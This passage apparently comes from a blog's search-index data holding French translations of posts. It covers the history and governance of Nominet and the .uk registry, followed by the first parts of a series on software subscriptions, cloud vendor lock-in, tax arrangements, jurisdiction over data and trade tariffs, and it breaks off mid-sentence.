faisait mal tourner la plateforme, il est parti parce que MMX a été vendu. Bâtir les finances d\u0026rsquo;un corps de bénéfice public sur un carnet d\u0026rsquo;affaires qui peut partir un mardi parce que son propriétaire a pris 120 millions de dollars est un choix stratégique, et il a été fait.\nEt la même année, elle a gagné .gov.uk.\n.gov.uk avait été fait tourner par Jisc pendant des années, à titre gracieux, sous un ancien mémorandum d\u0026rsquo;accord — un arrangement dont le gouvernement a fini par conclure qu\u0026rsquo;il ne répondait pas aux normes internationalement reconnues. Le Central Digital and Data Office a mené un appel d\u0026rsquo;offres via le Crown Commercial Service, Nominet l\u0026rsquo;a gagné en novembre 2023, et la transition s\u0026rsquo;est achevée le 26 juin 2024, calée une semaine avant les élections générales pour tenir l\u0026rsquo;inscription des électeurs hors de danger. La propre page de registre de Jisc consigne maintenant la date platement — au 26 juin 2024 elle ne gère plus l\u0026rsquo;espace de noms .gov.uk, bien qu\u0026rsquo;elle soit restée bureau d\u0026rsquo;enregistrement pour certains clients. Vingt-huit ans à faire tourner un espace de noms national, finissant en une ligne sur une page web.\nLes exigences annoncées étaient la résilience, la conformité aux normes DNS de l\u0026rsquo;ICANN, et le respect du Cyber Assessment Framework du NCSC.\nLisez ça contre l\u0026rsquo;argument plus haut dans ce billet. La raison pour laquelle Nominet était un candidat crédible pour le propre espace de noms du gouvernement, c\u0026rsquo;est qu\u0026rsquo;elle tournait déjà aux normes de l\u0026rsquo;ICANN — des normes qu\u0026rsquo;elle avait adoptées parce que l\u0026rsquo;essentiel de son parc y était contractuellement lié, et qui ont atteint .uk parce que personne ne maintient deux régimes sur une plateforme. La discipline qui est arrivée de côté, par les contrats gTLD, est ce qui l\u0026rsquo;a qualifiée pour faire tourner .gov.uk.\nDonc 2024 n\u0026rsquo;a pas été simplement une mauvaise année. Elle a perdu le plus gros contrat qu\u0026rsquo;elle avait et gagné celui qui porte le nom du gouvernement.\nDeux choses sur cette victoire valent d\u0026rsquo;être remarquées, parce qu\u0026rsquo;elles sont la différence entre exploiter un espace de noms et le tenir.\nLe gouvernement a gardé l\u0026rsquo;autorité. Nominet fait tourner le registre. Le Central Digital and Data Office gère et approuve encore les demandes — qui a droit à un .gov.uk reste une décision gouvernementale, pas celle du registre. Ce n\u0026rsquo;est pas comme ça que marche .co.uk, où des bureaux d\u0026rsquo;enregistrement accrédités vendent à quiconque se présente. L\u0026rsquo;opération technique a été externalisée. Le mot sur l\u0026rsquo;espace de noms ne l\u0026rsquo;a pas été.\nEt c\u0026rsquo;est un contrat. .gov.uk a été acheté via le Crown Commercial Service, ce qui veut dire qu\u0026rsquo;il a un terme et une date de fin, et le gouvernement a déjà démontré exactement une fois ce qu\u0026rsquo;il fait quand il décide que l\u0026rsquo;arrangement n\u0026rsquo;est pas assez bon : il a déplacé tout le bazar de Jisc après une vingtaine d\u0026rsquo;années.\nDonc Nominet tient .gov.uk à des conditions auxquelles elle ne tient pas .uk. L\u0026rsquo;un peut être repris à la fin d\u0026rsquo;un contrat par un fonctionnaire décidant de ne pas renouveler. L\u0026rsquo;autre n\u0026rsquo;a pas de contrat, pas de terme et pas de renouvellement — et les seuls qui ont jamais réussi à le discipliner ont dû organiser un vote des membres pour le faire.\nEn mars 2024, avec le PDNS parti et .uk en réduction, Fletcher a annoncé une restructuration avec jusqu\u0026rsquo;à 70 postes menacés.\nEt puis la ligne qui referme le cercle. Fletcher a noté que la tarification des domaines « ne peut pas être maintenue au niveau fixé en janvier 2020 indéfiniment » — cannot be held at the level set in January 2020 indefinitely.\nLes hausses de prix de .uk étaient parmi les choses sur lesquelles les membres se sont révoltés. Cinq ans plus tard, la diversification liquidée à perte, le contrat phare perdu au profit d\u0026rsquo;un moins cher et les enregistrements en baisse, la réponse en préparation est de remonter le prix de .uk.\nEt la vue de l\u0026rsquo;intérieur ne s\u0026rsquo;est pas rétablie Les membres ont eu leur changement de conseil. S\u0026rsquo;ils ont récupéré l\u0026rsquo;organisation est une question distincte.\nAu 25 août 2026 la note Glassdoor de Nominet se tient à 2,9 sur 5 sur 97 avis, avec 31 % disant qu\u0026rsquo;ils la recommanderaient, 22 % positifs sur les perspectives de l\u0026rsquo;entreprise et 29 % approuvant le directeur général. La catégorie la moins bien notée est l\u0026rsquo;encadrement supérieur, à 2,3. Les évaluateurs notent haut leurs collègues et le travail. Ce qu\u0026rsquo;ils ne notent pas, c\u0026rsquo;est la couche au-dessus d\u0026rsquo;eux.\nC\u0026rsquo;est une note médiocre plutôt qu\u0026rsquo;accablante, et elle devrait être lue pour ce qu\u0026rsquo;elle est : un échantillon auto-sélectionné sur un site public. Mais la forme de la plainte est reconnaissablement celle que les membres ont faite en 2021 — une stratégie que personne ne peut expliquer, la récompense coulant vers le haut, et les gens faisant tourner le registre national non consultés.\nDirecteur général différent. Même plainte.\nCe que cela dit de qui gouverne un ccTLD Revenez à la question du haut.\nL\u0026rsquo;ICANN n\u0026rsquo;aurait rien pu faire de tout ça. Elle n\u0026rsquo;avait pas de contrat sur .uk, pas de qualité pour agir, et pas de mécanisme au-delà d\u0026rsquo;écrire une lettre. Tout dans le billet ICANN au sujet de la Spécification 6, de la conformité et de la surveillance s\u0026rsquo;appliquait aux gTLD de Nominet et pas à la zone qui compte réellement pour le pays.\nLe gouvernement britannique ne l\u0026rsquo;a pas fait non plus, et il vaut d\u0026rsquo;être clair sur pourquoi, parce que la supposition courante est fausse. .uk n\u0026rsquo;est pas attribué sur un contrat gouvernemental. Il n\u0026rsquo;y a pas d\u0026rsquo;appel d\u0026rsquo;offres, pas de date de renouvellement et pas de concurrent attendant de candidater. Nominet tient la délégation de l\u0026rsquo;IANA, de la même façon que tout autre registre de code de pays tient la sienne, et personne ne la redistribue tous les quelques ans.\nCe que le gouvernement a, c\u0026rsquo;est un pouvoir de réserve, et presque personne ne sait qu\u0026rsquo;il est là.\nLes articles 19 à 21 du Digital Economy Act 2010 laissent le Secretary of State agir là où il y a un « échec pertinent grave » — serious relevant failure — chez un registre de domaine internet qualifié : un échec affectant négativement la disponibilité ou la réputation des communications britanniques, ou les intérêts des consommateurs ou du public. Nominet est ce registre. Après notification et une chance de faire des observations, le Secretary of State peut nommer un gestionnaire sur le registre, ou saisir le tribunal pour modifier sa constitution.\nC\u0026rsquo;est bien plus que ce que l\u0026rsquo;ICANN a jamais eu sur un quelconque ccTLD. Et voici la partie qui vaut de s\u0026rsquo;y attarder : ces deux articles sont restés dormants pendant quatorze ans, et ont été mis en vigueur le 6 avril 2024 — la même année où Nominet a perdu le contrat NCSC et annoncé 70 licenciements.\nJe ne vais pas prétendre que ces faits sont liés, parce que je ne sais pas qu\u0026rsquo;ils le sont. Ce qui est au dossier, c\u0026rsquo;est que le pouvoir de mettre un gestionnaire dans le registre .uk est devenu vivant en 2024, et ne l\u0026rsquo;avait pas été les quatorze ans d\u0026rsquo;avant.\nEt ce n\u0026rsquo;est que la voie domestique. Il y en a une seconde, et c\u0026rsquo;est la raison pour laquelle aucun opérateur de ccTLD nulle part ne tient sa délégation de droit.\nUne délégation de code de pays peut être déplacée. L\u0026rsquo;IANA redélègue les ccTLD, sous le RFC 1591, l\u0026rsquo;ICP-1 et les GAC Principles, et elle l\u0026rsquo;a fait à répétition — .kz, .iq, .za, .gd, .gw et d\u0026rsquo;autres. Les GAC Principles tiennent que chaque gouvernement porte la responsabilité ultime sur son propre territoire pour la politique publique nationale, et en pratique l\u0026rsquo;IANA traite l\u0026rsquo;avis du gouvernement reconnu comme une considération majeure dans tout transfert du domaine de son pays.\nL\u0026rsquo;Australie, comme ci-dessus, a mis ça par écrit en 2018 — réformer ou la délégation bouge.\nDonc un gouvernement britannique qui déciderait que .uk a besoin d\u0026rsquo;être ailleurs ne serait pas bloqué. Ce ne serait pas instantané, ce n\u0026rsquo;est pas un pouvoir exercé par annonce, et la communauté internet locale serait consultée. Mais la machinerie existe, les précédents existent, et l\u0026rsquo;opinion du gouvernement est l\u0026rsquo;entrée unique la plus lourde là-dedans.\nCe qui met .uk dans une position qui vaut d\u0026rsquo;être énoncée platement. Les communications sont l\u0026rsquo;un des secteurs d\u0026rsquo;infrastructure nationale critique du Royaume-Uni, et l\u0026rsquo;État traite le DNS en conséquence — le NCSC achète du DNS protecteur pour le secteur public depuis des années. Un registre faisant tourner de l\u0026rsquo;infrastructure nationale critique, dont le gouvernement peut nommer un gestionnaire dessus au niveau domestique et dont la parole ferait pencher la balance dans une redélégation au niveau international, ne tient pas sa délégation comme une propriété. Il la tient par tolérance, et la tolérance est conditionnée au fait de n\u0026rsquo;embarrasser personne.\nCe qui l\u0026rsquo;a discipliné a été un vote des membres, de justesse, six ans après le début du problème, après une campagne menée par un seul hébergeur qui a dû se voir remettre les coordonnées de ses propres membres sur 500 feuilles de papier pour plaider sa cause.\nC\u0026rsquo;est un meilleur mécanisme de responsabilité que tout ce que l\u0026rsquo;ICANN a. Il a retiré le directeur général et le président d\u0026rsquo;un registre national, ce qu\u0026rsquo;aucun processus de l\u0026rsquo;ICANN n\u0026rsquo;a jamais fait à personne. Il est aussi lent, conflictuel, dépendant de ce que quelqu\u0026rsquo;un décide d\u0026rsquo;y consacrer une année de sa vie, et il est passé à un ou deux points de pourcentage de l\u0026rsquo;échec.\nCe qui est à peu près là où en est la gouvernance du DNS partout. Les mécanismes qui marchent sont ceux que quelqu\u0026rsquo;un doté de ressources choisit d\u0026rsquo;actionner. .cm a mis un joker sur tout un domaine de premier niveau pendant des années parce que personne ayant qualité pour agir n\u0026rsquo;a objecté. Freenom ne s\u0026rsquo;est arrêté que quand Meta a poursuivi. .uk a changé de cap parce qu\u0026rsquo;un hébergeur a organisé un vote.\nRien de tout ça n\u0026rsquo;est de la gouvernance au sens que le mot implique. C\u0026rsquo;est qui s\u0026rsquo;est trouvé se présenter.\nUne pensée libre pour finir Tout ce qui précède est soit sourcé, soit marqué comme ma propre expérience. Cette dernière partie n\u0026rsquo;est ni l\u0026rsquo;un ni l\u0026rsquo;autre. C\u0026rsquo;est ce que je pense, et vous êtes libre d\u0026rsquo;être en désaccord.\nJ\u0026rsquo;ai commencé chez Nominet en 2017, ce qui fait neuf ans. Russell Haworth a pris le relais en 2015, ce qui fait onze. C\u0026rsquo;est assez long pour qu\u0026rsquo;une organisation ait appris quelque chose.\nL\u0026rsquo;a-t-elle fait ?\nSur le papier, oui. Le conseil qui a été voté dehors est parti. Les ambitions cyber commerciales sont liquidées. Le bras caritatif est devenu indépendant et tourne encore sous son propre nom. Les membres ont utilisé le seul mécanisme qu\u0026rsquo;ils avaient et il a marché.\nPuis regardez ce qui est réellement devant vous. .uk est d\u0026rsquo;un cinquième plus petit qu\u0026rsquo;il ne l\u0026rsquo;était en 2019 et se réduit encore. Le contrat que la diversification a fini par produire est allé à un moins cher. Soixante-dix postes sont partis avec. Le directeur général fait valoir que la tarification de .uk ne peut pas être maintenue aux niveaux de 2020 indéfiniment — ce qui est le même levier qui a aidé à démarrer l\u0026rsquo;ennui au départ. Et le personnel note l\u0026rsquo;encadrement supérieur 2,3 sur 5, avec 29 % approuvant le directeur général. Un directeur général différent, et reconnaissablement la même plainte.\nDonc ma réponse honnête est que les gens ont été changés et je ne suis pas convaincu que l\u0026rsquo;organisation l\u0026rsquo;ait été.\nIl vaut de noter où Haworth est allé ensuite, parce que ce n\u0026rsquo;est pas une critique et c\u0026rsquo;est exactement pour ça que ça compte. Avant Nominet il avait passé quatorze ans chez Thomson Reuters, dans les données financières. Après il est allé chez NBS, puis Byggfakta, puis Acclaro — des affaires par abonnement avec des clients professionnels, du revenu récurrent et du pouvoir de fixer les prix. NBS a réalisé 45 M£ de chiffre d\u0026rsquo;affaires pour 23,6 M£ d\u0026rsquo;EBITDA en 2023. Ce sont de bons chiffres, et les obtenir est à quoi sert un directeur général commercial.\nCe qui est justement le point, et vous n\u0026rsquo;avez pas à me croire sur parole pour la caractérisation. Son propre profil professionnel le décrit comme un directeur général pour des affaires B2B adossées au capital-investissement. C\u0026rsquo;est le métier qu\u0026rsquo;il fait, il le dit lui-même, et il y est clairement bon.\nC\u0026rsquo;est un opérateur commercial et il a fait des choses commerciales. L\u0026rsquo;erreur n\u0026rsquo;a jamais été son tempérament — c\u0026rsquo;était de mettre ce tempérament à la tête d\u0026rsquo;une organisation dont le surplus n\u0026rsquo;était pas du capital et n\u0026rsquo;était jamais censé l\u0026rsquo;être, puis de ne laisser personne en position de le contrôler pendant six ans.\nBien que NBS vaille un second regard, parce que sa forme est familière.\nNBS vend Chorus, l\u0026rsquo;outil de spécification dans lequel travaillent la plupart des cabinets d\u0026rsquo;architecture britanniques. Il est câblé dans les flux Revit et ISO 19650, et il n\u0026rsquo;y a pas d\u0026rsquo;alternative sérieuse — les architectes le décrivent comme un outil vital qu\u0026rsquo;ils doivent simplement continuer à payer. La licence d\u0026rsquo;un praticien est passée de 1 385 £ en 2015 à 7 350 £, ce que l\u0026rsquo;Architects\u0026rsquo; Journal a rapporté comme une hausse de 400 % sur une décennie. Il n\u0026rsquo;y a pas de tarif petit cabinet, donc un praticien seul paie le même par siège qu\u0026rsquo;un cabinet de 200 personnes. Les mots dans la presse spécialisée sont « hausses d\u0026rsquo;arnaque » et « bien au-dessus de l\u0026rsquo;inflation » — rip-off increases, well above inflation —, à côté de l\u0026rsquo;observation qu\u0026rsquo;il y a peu d\u0026rsquo;alternative au paiement.\nSoyez prudent avec l\u0026rsquo;attribution, parce que les dates ne s\u0026rsquo;alignent pas comme vous pourriez le vouloir. Chorus a été lancé en 2018. RIBA a vendu NBS entre 2018 et 2020 pour environ 172 millions de livres, et un ancien président de RIBA a dit qu\u0026rsquo;elle n\u0026rsquo;aurait jamais dû en céder le contrôle — une phrase avec un certain écho. Haworth a dirigé l\u0026rsquo;affaire d\u0026rsquo;octobre 2021 à octobre 2024. Les hausses les plus fortes rapportées, et les plaintes les plus bruyantes, sont de 2024 et 2025, après son départ, et le directeur général les défendant publiquement maintenant est quelqu\u0026rsquo;un d\u0026rsquo;autre.\nDonc ce n\u0026rsquo;est pas une preuve au sujet d\u0026rsquo;un homme. C\u0026rsquo;est une preuve au sujet d\u0026rsquo;une forme.\nUn corps professionnel vend l\u0026rsquo;outil sans lequel ses membres ne peuvent pas travailler. L\u0026rsquo;acheteur découvre que les clients ne peuvent pas partir. Le prix monte bien au-delà de l\u0026rsquo;inflation, année après année, et les plaintes ne vont nulle part parce qu\u0026rsquo;il n\u0026rsquo;y a nulle part où elles puissent aller. C\u0026rsquo;est .uk, et c\u0026rsquo;est ce que .org a failli devenir quand l\u0026rsquo;ICANN a levé les plafonds de prix quatre mois avant qu\u0026rsquo;un véhicule de capital-investissement n\u0026rsquo;offre 1,135 milliard de dollars pour lui.\nCe qui est la vraie leçon, et elle n\u0026rsquo;est pas confortable pour quiconque espérait que ceci portait sur un seul dirigeant. Des clients professionnels captifs, un outil essentiel, pas de fournisseur alternatif : cet arrangement produit le même résultat quel que soit celui qui le fait tourner, à moins que quelque chose ne se dresse en travers. Chez Nominet les membres l\u0026rsquo;ont fini par être. Chez NBS il n\u0026rsquo;y a personne — le corps professionnel qui aurait pu jouer ce rôle a vendu sa part et est parti avec 172 millions de livres.\nJe ne pense pas que ce soit vraiment au sujet d\u0026rsquo;un individu, non plus. Mettez n\u0026rsquo;importe qui à la tête d\u0026rsquo;un monopole détenu par ses membres faisant tourner un actif national sans régulateur qui surveille, et donnez-lui un surplus sans propriétaire évident, et l\u0026rsquo;attraction ira toujours vers le dépenser sur quelque chose de plus intéressant que la chose qui le gagne. Faire tourner .uk bien n\u0026rsquo;est pas une histoire qu\u0026rsquo;on peut raconter à une conférence. Candidater pour l\u0026rsquo;Australie, si.\nLa correction, quand elle vient, doit venir des membres — ce qui veut dire que quelqu\u0026rsquo;un doit abandonner une année de sa vie pour organiser un vote contre un sortant dépensant l\u0026rsquo;argent de ces mêmes membres pour y résister. C\u0026rsquo;est arrivé une fois, et cela est passé de 2,7 points de pourcentage sur une participation de 53 %. Personne ne concevrait un mécanisme de responsabilité de cette façon.\nLes deux vrais filets de secours sont restés inutilisés tout du long. Les pouvoirs du Digital Economy Act ne sont entrés en vigueur qu\u0026rsquo;en 2024. Une redélégation n\u0026rsquo;a jamais été sérieusement suggérée par quiconque.\nNeuf ans plus tard, la chose que j\u0026rsquo;aimerais savoir, et que je ne peux pas dire de l\u0026rsquo;extérieur, est de savoir si quelqu\u0026rsquo;un chez Nominet aujourd\u0026rsquo;hui pourrait dire tout haut dans une réunion — nous sommes un organisme sans but lucratif, devrions-nous vraiment dépenser de l\u0026rsquo;argent là-dessus ? — et travailler encore là-bas un an plus tard.\nSi la réponse est oui, elle a appris quelque chose. Si c\u0026rsquo;est non, alors tout ce qui a changé en 2021, ce sont les noms.\n","permalink":"https://blogs.damiendye.uk/fr/dns/what-happened-at-nominet/","summary":"Le registre .uk appartient à ses membres, et en mars 2021 ils ont voté le renvoi de la moitié du conseil. À quoi le parc ressemblait réellement de l\u0026rsquo;intérieur, pourquoi faire tourner .uk aux côtés de dizaines de gTLD a façonné sa gestion, et comment un registre sans régulateur a fini discipliné par les seuls qui le pouvaient.","title":"Ce qui s'est passé chez Nominet"},{"content":"Partie 1 sur 8. Cette série est écrite simplement, avec des lignes courtes et des mots de tous les jours.\nCe que couvre ce billet Ce qui a changé dans la façon d\u0026rsquo;acheter de la technologie. Pourquoi ça a changé. Pourquoi quitter un fournisseur est devenu plus difficile. Pourquoi l\u0026rsquo;open source n\u0026rsquo;y a pas mis fin. Où tout ça a fini. Le changement Il y a vingt ans, vous achetiez un logiciel.\nVous payiez une fois. Cette copie était à vous. Vous pouviez continuer à vous en servir tant qu\u0026rsquo;il marchait.\nAujourd\u0026rsquo;hui la plupart des logiciels se louent. Vous payez chaque année juste pour continuer à les utiliser.\nArrêtez de payer, et ça s\u0026rsquo;arrête de marcher. Vous ne possédez rien.\nC\u0026rsquo;est ça, un abonnement. Un abonnement est un paiement que vous faites encore et encore pour garder un service.\nLa même chose est arrivée à l\u0026rsquo;informatique elle-même. Avant, vous achetiez des serveurs. Aujourd\u0026rsquo;hui beaucoup de structures louent leur informatique à un fournisseur de cloud.\nUn fournisseur de cloud est une entreprise qui fait tourner les ordinateurs pour vous, dans ses propres bâtiments.\nPourquoi ça a changé Soyons justes là-dessus, parce que ça compte. Ça a changé parce que louer était souvent la meilleure affaire.\nAcheter des serveurs coûte beaucoup au départ. Louer coûte très peu au départ.\nLes services de cloud étaient fiables et rapides à mettre en place. De petites équipes ont eu des outils que seules les grandes entreprises pouvaient s\u0026rsquo;offrir avant.\nLes abonnements ont apporté des mises à jour régulières aussi. Fini de planifier un grand bouleversement tous les quelques ans.\nAlors la plupart des structures ont migré, et elles avaient de bonnes raisons. Personne n\u0026rsquo;a été forcé.\nLa question que pose cette série vient plus tard. Elle porte sur ce qui arrive une fois qu\u0026rsquo;aller ailleurs est devenu difficile.\nPourquoi partir est devenu plus difficile Voici la partie qui compte.\nChaque étape de ce changement a déplacé l\u0026rsquo;endroit où il était difficile de partir.\nAu début, ça siégeait dans le format de fichier. Un format de fichier est la façon dont un programme enregistre votre travail. Si un seul programme pouvait ouvrir vos fichiers, vous continuiez à acheter ce programme.\nLes formats de fichier ouverts ont réglé ça. La plupart des documents s\u0026rsquo;ouvrent aujourd\u0026rsquo;hui dans plus d\u0026rsquo;un programme.\nAlors la partie difficile s\u0026rsquo;est déplacée. Elle est allée vers l\u0026rsquo;interface.\nUne interface est la façon dont un logiciel parle à un autre. Bâtissez tous vos systèmes autour de l\u0026rsquo;interface d\u0026rsquo;un fournisseur, et changer de fournisseur veut dire tout réécrire.\nPuis elle s\u0026rsquo;est déplacée encore, vers vos données.\nDéplacer une petite quantité de données est assez facile. En déplacer des années est lent, et certains fournisseurs vous facturent pour les sortir.\nChaque déplacement a rendu le logiciel lui-même moins important. À ce titre, ce qui compte maintenant est la quantité de travail qu\u0026rsquo;il vous faudrait pour partir.\nOù s’est située la difficulté de partir, au fil du temps Autrefois Ensuite Aujourd’hui Vos données Format de fichier Interface Le programme Vos données Format de fichier Interface Le programme Vos données Format de fichier Interface Le programme Le cadre bleu est la partie difficile à changer. Chaque fois qu’une couche s’est ouverte, la difficulté est passée à la suivante. Les mêmes couches, 3 fois. La partie difficile à changer a grimpé : le format de fichier d\u0026rsquo;abord, puis l\u0026rsquo;interface, puis les données. Pourquoi l\u0026rsquo;open source n\u0026rsquo;y a pas mis fin Le logiciel open source est un logiciel dont le code peut être lu, utilisé et modifié par quiconque.\nBeaucoup de gens s\u0026rsquo;attendaient à ce qu\u0026rsquo;il règle ça. Il a réglé une vraie partie du problème, mais pas celle qu\u0026rsquo;on croirait.\nL\u0026rsquo;open source a gagné. La plus grande partie de l\u0026rsquo;internet tourne dessus. Le code de la plupart des pièces importantes est là, à lire.\nLa partie difficile du départ n\u0026rsquo;a pourtant pas disparu, parce qu\u0026rsquo;elle s\u0026rsquo;était déjà déplacée.\nVous pouvez lire chaque ligne d\u0026rsquo;une base de données. Vous ne pouvez toujours pas facilement sortir 5 ans de données du service géré qui la fait tourner.\nUn service géré est quand un fournisseur fait tourner le logiciel pour vous, pour que vous n\u0026rsquo;ayez pas à le faire.\nLe code est ouvert. Le service ne l\u0026rsquo;est pas.\nIl y a un second point ici, et il est juste.\nUne grande partie de l\u0026rsquo;open source est maintenue par des bénévoles qui ne sont pas payés. De grandes entreprises bâtissent des produits sur ce travail.\nEn 2024, un outil de compression très utilisé s\u0026rsquo;est révélé porter du code nuisible caché dedans. Cet outil était maintenu par 1 seule personne non payée. Bruce Schneier et d\u0026rsquo;autres l\u0026rsquo;ont détaillé.\nLa leçon n\u0026rsquo;est pas que l\u0026rsquo;open source est risqué. C\u0026rsquo;est que le travail partagé sur lequel tout le monde s\u0026rsquo;appuie doit être payé, et souvent ne l\u0026rsquo;est pas.\nOù tout ça a fini Mettez ces étapes ensemble et vous obtenez là où nous en sommes.\nUn petit nombre d\u0026rsquo;entreprises fournissent les services dont dépend la plupart des structures.\nLa plupart de ces entreprises siègent dans 1 seul pays, les États-Unis.\nLes recherches rassemblées par le projet EuroStack situent les fournisseurs non européens à environ 85 % du marché européen du cloud.\nAucune décision unique n\u0026rsquo;a fait ça. C\u0026rsquo;est le résultat d\u0026rsquo;un très grand nombre de choix sensés, faits un à un, sur 20 ans.\nC\u0026rsquo;est ce qui en fait une tendance et non un événement.\nCe que ça veut dire pour vous Rien de tout ça ne dit que le logiciel américain est mauvais. Une grande partie est très bonne, ce qui est exactement comment il est arrivé partout.\nÇa veut dire que 1 question compte plus qu\u0026rsquo;avant.\nCombien de temps vous faudrait-il pour passer à un autre fournisseur ?\nCe nombre décide de pas mal de choses, et la partie 2 explique pourquoi.\nPremière publication : 2026-08-25. Dernière mise à jour : 2026-08-25.\n","permalink":"https://blogs.damiendye.uk/fr/random/technology-you-rent/","summary":"Il y a vingt ans, vous achetiez un logiciel et la copie était à vous. Aujourd\u0026rsquo;hui vous le louez, et le fournisseur fixe les règles. La partie 1 sur 8 parcourt comment on en est arrivé là, et pourquoi chaque étape a rendu plus difficile d\u0026rsquo;aller ailleurs.","title":"Comment la technologie est devenue quelque chose qu'on loue"},{"content":"Partie 2 sur 8. La partie 1 a couvert comment la location a remplacé l\u0026rsquo;achat.\nCe que couvre ce billet Comment le prix se fixe une fois qu\u0026rsquo;il est difficile de partir. Où le bénéfice est imposé. À qui appartient la loi qui s\u0026rsquo;applique à vos données. Comment les décisions commerciales atteignent votre matériel. Ce qui arrive si un service s\u0026rsquo;arrête tout simplement. 1. Le prix suit votre coût de sortie Commençons par celui que la plupart des organisations ont déjà connu.\nEn 2023, Broadcom a racheté VMware. VMware fait le logiciel utilisé pour faire tourner beaucoup de serveurs virtuels sur 1 seul serveur physique.\nBroadcom a ensuite cessé de vendre des licences permanentes. Les clients ont dû passer aux abonnements.\nLes prix ont fortement grimpé pour beaucoup d\u0026rsquo;entre eux. AT\u0026amp;T a dit dans des documents judiciaires que ses coûts allaient augmenter d\u0026rsquo;environ 1 050 %.\nCISPE est une association professionnelle des fournisseurs de cloud européens. Elle a porté plainte auprès de la Commission européenne au sujet de ces changements, avec des chiffres d\u0026rsquo;un ordre similaire.\nEn mars 2026, CISPE a de nouveau porté plainte, après la fermeture du programme partenaire européen. The Register a rapporté ce que les fournisseurs en ont pensé.\nRien d\u0026rsquo;illégal n\u0026rsquo;a été prouvé ici. Les plaintes sont encore à l\u0026rsquo;examen.\nMais le schéma est assez clair pour en tirer une leçon.\nUn renouvellement est une négociation. Votre position dedans repose sur 1 chose : la facilité avec laquelle vous pourriez partir.\nSi partir vous prenait 3 ans, vous avez très peu de marge pour dire non.\nCe n\u0026rsquo;est pas qu\u0026rsquo;une question de fournisseurs américains, notez bien. Tout fournisseur dans cette position a le même avantage.\n2. Où le bénéfice est imposé Le deuxième coût est plus difficile à voir.\nBeaucoup de grandes entreprises technologiques vendent à des clients dans 1 pays et déclarent le bénéfice dans un autre.\nL\u0026rsquo;entreprise locale est souvent traitée comme un prestataire de services de sa maison mère. La plus grande partie du bénéfice part ailleurs.\nVous obtenez donc de grosses ventes dans un pays et une petite facture d\u0026rsquo;impôt dans ce pays.\nTaxWatch est un groupe de recherche du Royaume-Uni. Il a estimé que 7 grands groupes technologiques ont tiré près de 15 milliards de livres de bénéfice de clients britanniques en 2021. Il a estimé que leurs montages ont retranché environ 2 milliards de livres de l\u0026rsquo;impôt sur les sociétés dû au Royaume-Uni.\nL\u0026rsquo;Europe s\u0026rsquo;en est prise à ces montages. Les résultats sont mitigés, et il est juste de montrer les deux côtés.\nApple a perdu. En septembre 2024, la Cour de justice de l\u0026rsquo;Union européenne a confirmé que des arrangements fiscaux irlandais constituaient une aide d\u0026rsquo;État illégale. L\u0026rsquo;Irlande a récupéré environ 14 milliards d\u0026rsquo;euros. Amazon a gagné. En décembre 2023, la même cour a rejeté l\u0026rsquo;appel de la Commission européenne dans une affaire similaire concernant le Luxembourg. Il y a aussi un accord mondial, appelé le Pilier Deux. Il fixe un taux d\u0026rsquo;imposition minimum de 15 %.\nEn janvier 2026, l\u0026rsquo;Organisation de coopération et de développement économiques a publié un dispositif côte à côte. En vertu de celui-ci, les entreprises dont le siège est aux États-Unis suivent les règles américaines plutôt que la plupart des règles mondiales.\nCertains pays ont tenté leur propre taxe sur les services numériques. Le Canada en a adopté une, puis l\u0026rsquo;a abandonnée en juin 2025 après que les États-Unis ont interrompu les pourparlers commerciaux à cause d\u0026rsquo;elle.\nL\u0026rsquo;argent est donc gagné à un endroit. Où il est imposé se règle ailleurs.\n3. À qui appartient la loi qui s\u0026rsquo;applique Celui-ci est plus mal compris que tout autre, alors il vaut la peine d\u0026rsquo;être exact.\nBeaucoup de gens croient que garder les données en Europe les maintient sous la loi européenne et rien d\u0026rsquo;autre.\nCe n\u0026rsquo;est pas tout à fait juste. Ce qui compte est qui contrôle l\u0026rsquo;entreprise qui les détient.\nLe CLOUD Act est une loi américaine de 2018. Elle oblige un fournisseur américain à remettre les données qu\u0026rsquo;il contrôle, où qu\u0026rsquo;elles se trouvent. Le ministère de la Justice en expose le détail.\nDonc un centre de données à Francfort, exploité par une entreprise possédée aux États-Unis, peut encore être atteint par une injonction judiciaire américaine.\n« Nos données restent en Europe » et « nos données sont hors de la loi américaine » sont 2 affirmations différentes. Les fournisseurs prudents ne font que la première.\nUne injonction judiciaire suit qui contrôle l'entreprise, pas l'emplacement du bâtiment Centre de données en Europe Vos données sont stockées ici Le site suit le droit de l'UE Société mère Basée dans un autre pays Contrôle les données exploite le site Une injonction arrive ici L'injonction n'a pas à aller au bâtiment. Elle va à qui contrôle les données. Le bâtiment est en Europe. L\u0026rsquo;entreprise qui l\u0026rsquo;exploite est possédée ailleurs. Une injonction judiciaire va au propriétaire, pas au bâtiment. Les règles ici bougent aussi, dans les deux sens.\nLa Section 702 est une loi américaine de surveillance. Elle a expiré le 2026-06-12 quand le Congrès ne l\u0026rsquo;a pas renouvelée.\nÇa ne veut pas dire que la collecte s\u0026rsquo;est arrêtée. Les autorisations déjà accordées se poursuivent jusqu\u0026rsquo;à leur expiration, attendue vers mars 2027. Le Brennan Center en assure le suivi.\nIl y a aussi le cadre de protection des données UE–États-Unis. Il laisse les données personnelles passer d\u0026rsquo;Europe vers les États-Unis.\nUn recours juridique contre lui a été rejeté en septembre 2025. Cette décision est maintenant en appel.\nLe cadre est du droit valide aujourd\u0026rsquo;hui. C\u0026rsquo;est aussi le troisième de son genre, parce que les 2 précédents ont été invalidés.\nSi un arrangement de transfert échoue, le coût retombe sur l\u0026rsquo;organisation européenne qui l\u0026rsquo;utilise. En 2023, la Commission irlandaise de protection des données a infligé une amende de 1,2 milliard d\u0026rsquo;euros à Meta au sujet de transferts vers les États-Unis.\nIl y a une réponse calme et pratique à tout ça, et elle vaut d\u0026rsquo;être connue.\nSi votre fournisseur détient les clés de vos données, votre fournisseur peut répondre à une injonction judiciaire.\nDétenez les clés vous-même et l\u0026rsquo;injonction doit venir à vous à la place. À ce titre, la décision relève de la loi de votre propre pays.\n4. Les décisions commerciales atteignent votre matériel La technologie fait partie de la politique commerciale maintenant.\nEn janvier 2026, les États-Unis ont mis un droit de douane de 25 % sur un groupe restreint de puces informatiques avancées et les produits qui les contiennent. Une deuxième étape a été signalée.\nQue votre propre matériel soit visé change avec le temps. Votre fournisseur est le bon interlocuteur à qui demander.\nLes relations commerciales peuvent tourner vite aussi. Les pourparlers entre les États-Unis et le Canada se sont effondrés le 2026-08-22, avec de nouveaux droits de douane de 50 %. Le Canada a annoncé des mesures en réponse.\nLe Premier ministre canadien a exposé les raisons publiquement.\nLe point pour vous est étroit, et il ne repose sur la politique de personne.\nLe coût et la disponibilité du matériel peuvent changer à cause d\u0026rsquo;une décision prise dans un autre pays, sans préavis.\nÀ 